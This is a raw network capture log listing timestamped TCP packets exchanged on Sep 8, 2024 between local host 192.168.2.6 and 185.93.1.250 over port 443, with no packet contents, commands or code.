Sep 8, 2024 09:53:37.488370895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488374949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488409042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488718987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488732100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488779068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488782883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488816023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488930941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488941908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.488992929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.488997936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.489031076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.489295959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.489310026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.489357948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.489362955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.489397049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.574476004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574501038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574656010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.574681997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574724913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.574736118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574754953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574779034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.574784040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574814081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.574891090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574903965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574944019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.574949026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.574981928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.575165033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575184107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575227022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.575231075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575264931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.575577974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575592995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575638056 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.575642109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575675011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.575885057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575897932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575942993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.575948000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.575979948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.576093912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.576107025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.576148033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.576153040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.576184988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.576339960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.576353073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.576399088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.576407909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.576441050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.661815882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.661840916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.661897898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662066936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662066936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662082911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662132025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662151098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662180901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662187099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662200928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662302017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662327051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662350893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662357092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662375927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662599087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662611961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662647963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.662653923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.662678957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.663063049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663085938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663120031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.663125992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663149118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.663327932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663341045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663384914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.663391113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663423061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.663604021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663625002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663655043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.663661003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.663691998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.705887079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.748665094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.748688936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.748754025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.748833895 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.748939991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.748951912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.748980999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.749182940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.749197006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.749242067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.749249935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.749408007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.749425888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.749458075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.749463081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.749489069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750145912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750160933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750204086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750206947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750217915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750256062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750261068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750286102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750309944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750329971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750716925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750730038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750777960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750782967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750819921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750864983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750879049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750924110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.750929117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.750961065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.835855961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.835885048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.835947037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.835973024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836085081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836108923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836188078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.836188078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.836188078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.836188078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.836188078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.836205006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836467981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836498022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836520910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.836529016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.836553097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.837440014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837452888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837502003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.837510109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837548018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837568998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837590933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.837598085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837610960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.837764025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837776899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.837819099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.837825060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.838148117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.838167906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.838198900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.838202953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.838218927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.877780914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.922851086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.922879934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.922923088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.922947884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923019886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923047066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923062086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923151970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923163891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923194885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923202038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923227072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923377991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923398018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923427105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923433065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923451900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923692942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923708916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923747063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.923752069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.923772097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.924385071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924403906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924436092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.924439907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924468040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.924727917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924741030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924793005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.924799919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924972057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.924989939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.925045013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.925050974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:37.925075054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:37.971611023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.010215998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010235071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010288000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010386944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.010413885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010427952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.010596037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010607958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010637045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.010644913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010662079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.010899067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010916948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010941982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.010946035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.010962009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.011251926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011262894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011305094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.011312008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011331081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.011533022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011550903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011591911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.011603117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011776924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011789083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011825085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.011828899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.011852026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.012079000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.012103081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.012125015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.012129068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.012146950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.065220118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.097649097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.097671986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.097826958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.097851038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.097899914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.097918034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.097932100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.097980022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.097985983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.098021984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.098499060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.098514080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.098567009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.098572016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.098607063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.099329948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099347115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099397898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.099404097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099442005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.099690914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099709034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099761009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.099766016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099797010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.099926949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099941015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099972010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.099982023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.099993944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.100022078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.100058079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.100157976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.100174904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.100203037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.100208044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.100230932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.143394947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.184449911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.184478045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.184616089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.184631109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.184668064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.184757948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.184772015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.184809923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.184814930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.184848070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.185111046 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.185128927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.185168982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.185173988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.185193062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.185209036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.185331106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.185343027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.185383081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.185388088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.185412884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186007023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186018944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186058998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186064005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186093092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186184883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186204910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186239958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186244965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186268091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186284065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186522007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186536074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186573982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186579943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186613083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186817884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186830997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186867952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.186873913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.186901093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.272258997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.272277117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.272345066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.272355080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.272389889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.272654057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.272666931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.272707939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.272713900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.272733927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.272748947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.273022890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.273036003 CEST	443	49710	185.93.1.250	192.168.2.6
